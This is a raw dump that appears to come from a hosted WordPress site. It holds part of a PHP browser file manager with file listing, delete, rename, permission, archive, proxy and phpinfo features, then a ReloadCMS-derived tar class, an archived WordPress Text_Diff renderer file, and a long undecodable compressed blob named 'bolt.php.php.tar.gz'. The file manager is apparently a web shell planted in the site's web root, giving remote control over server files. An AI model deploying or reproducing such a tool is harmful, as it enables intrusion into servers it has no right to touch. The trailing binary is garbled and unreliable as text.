			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\tT        inline.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PK     |\a  a    bolt.php.php.tar.gznu [              Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
